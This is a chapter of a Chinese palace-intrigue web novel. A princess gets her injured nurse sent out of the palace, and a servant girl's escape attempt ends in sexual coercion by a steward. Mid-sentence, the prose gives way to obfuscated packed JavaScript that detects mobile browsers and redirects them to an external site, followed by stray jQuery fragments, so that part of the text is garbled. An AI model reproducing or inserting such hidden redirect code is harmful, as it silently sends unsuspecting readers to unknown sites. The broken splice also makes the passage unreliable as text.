138. 难逃

作品:《风雪满关山

    杨医官“咳咳”了两声,说:“公主,今日之事幸亏皇后娘娘及时敢来,否则连带你出去的柳医婆都性命难保。就当是木贵妃给了公主一个教训吧,日后行事还得守着宫里的规矩稳妥一些,不然就得你身边的人替你受过了。”


    风雪鸢抽抽搭搭地说:“鸢儿知道了。”


    “眼下何叶和柳华我已施了针,倒是柴婆的腿得好好费翻心思了。公主,若是可以,还是把柴婆送出宫吧,若是林伯肯的话,由他来照看,这康复的机率肯定是比我和柳医婆来医治高一些。”


    风雪鸢抹了把眼泪:“林伯自然是肯的,我这就去找父皇。”


    ******


    风雪鸢远远地就看到木贵妃从万圣宫走了出来,知道她定是恶人先告状,指不定怎么编排呢。


    走进万圣殿,顺帝还未等风雪鸢开口,就说:“木贵妃前脚刚走,你便来了,是来喊冤的吗?”


    “不,父皇,”风雪鸢跪在了顺帝面前,“儿臣是来请罪的。”


    “哦?这么说木贵妃所言皆是实情了。那她打伤你身边的宫人,也不算冤枉了她们。”


    “儿臣知错,自然领罚,不敢有怨言。只是柴婆是儿臣的奶婆,又一手将儿臣抚养长大,没有功劳也有苦劳。儿臣请父皇念及柴婆年迈,放她出宫养病。”


    顺帝问道:“宫外的郎中哪有宫里的好,若是养病,更应该养在宫中啊。”


    风雪鸢低下了头,说:“若是柴婆留在宫中,怕是还要受到儿臣的牵连。”


    顺帝一听,指着风雪鸢问:“怎么?你还想再犯错不成?看来你是不知悔改啊。”


    “父皇,儿臣此次出宫,并非是贪玩,而是查到了些关于母妃当年难产的线索。”


    “什么线索?说来听听。”


    风雪鸢欲言又止,纠结要不要将采香阁卫掌柜的口供拿出来。一番思想斗争后,她还是决定先按下不提。


    “还…还没有找到实质性的证据。”


    “没有实质性的证据,那就是有些猜测了?”


    风雪鸢没有顺着顺帝的话茬,而是说:“父皇,儿臣只是查到了一点方向,就给柴婆带来了这么大的无妄之灾,儿臣若是再查下去,只怕儿臣和儿臣身边的人都将死于非命了。”


    风雪鸢的话虽然没有直说,但是却引导顺帝将自己出宫寻找线索与木贵妃责罚起阳宫宫人之事联系到了一块。


    顺帝皱着眉头思索了一会,说:“那便通知内局,放柴婆出宫吧。鸢儿,你自己也要当心啊。”


    柴婆的伤稍微好了些,风雪鸢便通知林伯,将柴婆送出了宫。


    临走前,柴婆还是不放心风雪鸢,不肯出宫。


    “婆,你跟林伯去庄子上好好养病,这样我在宫里才没有后顾之忧啊。”


    “木贵妃已经出了手,就不会轻易善罢甘休,你一个人在宫里,她定不会放过你的。”


    风雪鸢握着柴婆的手,说:“柴婆,我保证我会照顾好自己的。时辰到了,你别让林伯在宫外等太久。来人!”


    风雪鸢松开了柴婆,转过身子,命人将柴婆抬上了软轿。柴婆的腿动不了,只能任由着几个内侍将自己抬了出去,她如何喊风雪鸢,风雪鸢也不回头,直到柴婆走远了,风雪鸢才慢慢地回头看了一眼车轿。


    北玄门外,林伯的车马已经在那等候了多时。那马车足足有半丈多宽,足够柴婆躺在里面了。林伯又在里面铺了三层棉被,保证柴婆躺上去伤口一点都不疼。


    安顿好柴婆后,林伯跳上车,驾着马车出了城。


    出城后,林伯怕路面崎岖颠痛了柴婆,便让马走得缓慢。二人一直走到戌时,才到东三里庄子。


    林伯叫了几个庄上的儿郎,将柴婆抬进了屋,又叫来了朱嫂,帮柴婆梳洗了一下。自己则去厨房,给柴婆做了碗面,端到了柴婆床前。


    二人已是许久未见,皆有些拘束,不敢对视。林伯看着躺在床上的柴婆,自然是心疼。可他想了想自己的身子,又想了想死去的林夫人和林莺林鹊,还是决定这辈子不要耽误柴婆。照顾柴婆是他力所能及的事情,可再进一步的关系…他还是没有勇气迈出那一步。


    柴婆撇了一眼床头的面条,翻了个身面朝墙闭上了眼,可肚子却咕噜地叫着。


    林伯笑了一声,坐到了柴婆的床边,端起那碗面条吸溜了两口就吃光了。柴婆闻声见那面条见了底,抬手一巴掌拍到了林伯的背上,林伯呛了一口骂道:“你怎么这么有劲,是不是腿不疼了!”


    “谁让你把面条吃了的?”


    林伯咯咯一笑,说道:“厨房那碗的肉更多,我给你端来哈。”


    林伯巴巴地端来另一碗面条,扶了柴婆起来。


    “对了,马三现下如何了?”柴婆一口面条还没进嘴了,就想起了大凤的事情。


    林伯叹了一声,说:“马三回庄子上了,只是大凤和谷丰还在贺华亭手上。马三他爹写了休书,眼下正给马三挑新妇呢。”


    柴婆顿时没了胃口,放下了手里的面条,感叹道:“当初黄三娘临走时,看到大凤答应嫁给马三,还以为大凤这辈子就算安稳了下来,谁能想到会到现在这个地步。黄三娘若是知道大凤在贺华亭手里受了这么多苦,她九泉之下如何能安息啊……”


    “你也别为大凤难过了,脚长在她的腿上,谁也拦不住她。路是自己选的,怨不得旁人。她被富贵权势迷了双眼,陷入泥潭,也算有了教训,希望她能真心悔过吧。”


    “谷丰还在贺华亭手里,她就算想悔过也难啊……”


    ******


    三更的打更声一过,大凤摸着黑下了床,将藏在枕头里的几两银子揣进怀里,蹑手蹑脚抬起门栓出了院子。


    她在贺府待了这么些日子,虽然是用了些见不得人的手段,但她早已经把府卫巡逻的路线和时间摸清楚了。大凤悄悄地,来到了后厨,从头上拔下一枚西簪子,撬开了柴房的锁。


    谷丰正躺在柴草上睡过去了。


    大凤一把抱起谷丰,准备从后门逃出去,可管家王俭突然出现挡住了大凤的去路。


    “前些日子见你和府卫张全拉拉扯扯,我就知道你没藏什么好心思。你既然勾搭上了张全,怎么不直接让他带你走,还要自己偷偷跑路呢?”


    大凤往后退了几步,说:“张全可不是什么好东西,就问了他巡逻的时间和路线,他就想趁机占便宜。王管事,这些银子你留着,就当没有看见我们,放我们走吧。”


    王管事冷笑了一声,拨开了大凤的手,慢慢地向大凤靠近:“我身为贺府的管家,这几个银子还收买不了我。”


    “你…你想干什么……”


    “既然张全可以,那么我为何不行?你伺候谁不是伺候,就伺候我一次,我便放你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560497|142952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们走。”


    王俭说着就摸上了大凤的腰间。


    大凤抱着谷丰腾不出手,只转身往后一退,逃离了王俭的手掌。


    “王管事,我可是侯爷的人,我若叫起来让侯爷知道你敢对他的人下手,你觉得你还能活吗?翠儿、芙蓉,还有红蕊,侯爷若是知道你做的丑事,他不会放过你的。”


    “呸!你才来了多久就敢威胁起我了?从我爷爷开始,就在这侯府里管事,你不过一个家妓,连个小妾外室都不如,还敢说自己是侯爷的人!侯爷不过养着你们伺候来府里作客的其他老爷贵人罢了,我玩几下又如何?你还想叫人?我若是叫起来,你们再也别想出侯府的门!咱们就看看谁先叫起来!”


    大凤现在被王俭捏在手心里,除了就范毫无别的选择。大凤咬了咬牙,陪着笑脸说:“王管事,怎么一说您就急了?谷丰睡着了,求你给他找个地儿,别把他给吵起来。”


    王俭一看大凤服了软,也变了笑脸说道:“这有什么难的,那边的几个屋子都空着呢,你先把他放下,再跟着我去我那。”


    王俭年纪大了,已是有贼心没贼力,折腾了大凤一两个时辰,眼看着天都要亮了。就在他精疲力尽准备穿衣之际,谷丰突然大哭了起来,惊得附近的府卫都赶了过来。


    大凤听见谷丰的哭声,边穿衣服边出门,跑到那屋抱起谷丰就往后门跑。


    王俭跟在后面,见大凤的去路已被府卫堵住,喊了起来:“快来人啊!有人要逃跑!”


    大凤顾不得王俭提了裤子不认人,抱着谷丰跪在了一众府卫前面:“求求你们放我走吧,求求你们了。”


    为首的正是张全,见逃跑之人是大凤,收了刀饶有兴致地调戏了起来。


    大凤像只被猎人围剿的小兔子,跑来跑去,可怎么也跑不出那个圈。


    动静渐渐大了起来,围过来的府卫也越来越多,也惊起了贺华亭和贺老夫人。


    张全见主子来了,禀报道:“这女郎在后院鬼鬼祟祟,妄想出府。”


    大凤扑过去跪在贺华亭脚边:“侯爷,求求你放我弟弟出去吧,他在柴房无人照顾,几次差点被火烧到,奴婢愿一辈子留在侯府,只求侯爷行行好,将我弟弟送出去吧。”


    贺老夫人问道:“你可还有家人?你弟弟送出去了之后你可能保证有人收养他?”


    大凤见贺老夫人说话很是有礼,便说:“东三里庄子上有一户叫马三的人家,他们会收留谷丰的。”


    贺华亭笑道:“马三果然是对你太好了,你做了这么多对不起他的事,竟然还想让他帮你抚养弟弟?你是真把马三当成傻子了。我侯府肯留他,给他一口饭吃已是开恩。你恐怕还不知道吧,马三早就写了休书,现在正说亲事呢。”


    一个晴天霹雳劈在了大凤头上,大凤愣在了原地。她做了这么多事,这么久没有回去,她竟然还痴心妄想马三会等着她。


    “我看这孩子长得倒比你这个姐姐端正,”贺老夫人用手抬起谷丰的脸,端详了一番,说,“亭儿,这孩子养在后厨确实不妥,若是碰到些什么点了厨房岂不是大过。我院子里整日也没个人气儿,不如就把这孩子放到我院子里吧。”


    贺华亭自然没有什么异议,示意几个嬷嬷将谷丰抱了过来。


    大凤眼看着谷丰被抱走,也不知这是福还是祸,只不过自己又要过那种暗无天日的日子了。